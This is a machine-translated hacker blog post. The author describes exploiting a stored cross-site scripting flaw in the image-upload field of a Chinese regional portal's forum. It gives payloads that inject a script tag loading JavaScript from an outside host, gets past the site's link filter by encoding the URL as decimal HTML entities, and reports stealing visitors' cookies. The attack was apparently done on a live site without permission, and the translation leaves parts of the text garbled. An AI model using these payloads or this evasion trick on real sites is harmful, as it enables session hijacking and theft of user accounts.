Linglong network storage XSS

Author: black bird
Today, I was bored and went online for a stroll. I suddenly remembered that my girlfriend once said that Linglong had opened a large network and suddenly wanted to check the security. Baidu looked for it:
Liuzhou's largest and most popular comprehensive portal network .. If you write it like this, let us know what it means to be a portal, and decide to learn a lesson.
 
I have been paying attention to the content of XSS recently. I decided to check whether the XSS vulnerability exists.
 
Go to the Forum to register a user and see where an image is uploaded over the network:
Try: http: // "> <script> alert ('A') </script.> result: it does not matter. Continue to find a picture of the network. OK, release successful
Hey, view Elements
If the Img tag and src attributes are not properly filtered, XSS is easy to appear. We try to capture the package. "> the source code is missing. Try again "> <script> alert ('A') </script.>

I don't know why the title turns into garbled characters .... Try calling js externally
<P> <a href = http://up.2cto.com/2013/0106/20130106112109502.png "target =" _ blank "> <script src =" http://www.gxmhw.net/anying/test.js "> </script> png" width = "10" height = "10"> </a> </p>
Suddenly found...
It's okay. It cannot stop us from moving forward. I think it may be to prohibit external links. Let's change the statement: <p> <a href = "http: // www.2cto.com/static/image/ss/logo.png" target = "_ blank"> <script src =" & #104; & #116; & #116; & #112; & #58; & #47; & #47; & #119; & #119; & #119; & #46; & #103; & #120; & #109; & #104; & #119; & #46; & #110; & #101; & #116; & #47; & #97; & #110; & #121; & #105; & #110; & #103; & #47; & #116; & #101; & #115; & #116; & #46; & #106; & #115; "> </script> png" <script = ""> </a> </p>
People should be able to see it carefully.
"> <Script src =" & #104; & #116; & #116; & #112; & #58; & #47; & #47; & #119; & #119; & #119; & #46; & #103; & #120; & #109; & #104; & #119; & #46; & #110; & #101; & #116; & #47; & #97; & #110; & #121; & #105; & #110; & #103; & #47; & #116; & #101; & #115; & #116; & #46; & #106; & #115; "> </script> png"
We perform segments and then encrypt the external links in a 10-digit format. Successfully inserted into the diary
Hey, let's see if we have obtained the cookie value:

Obtained successfully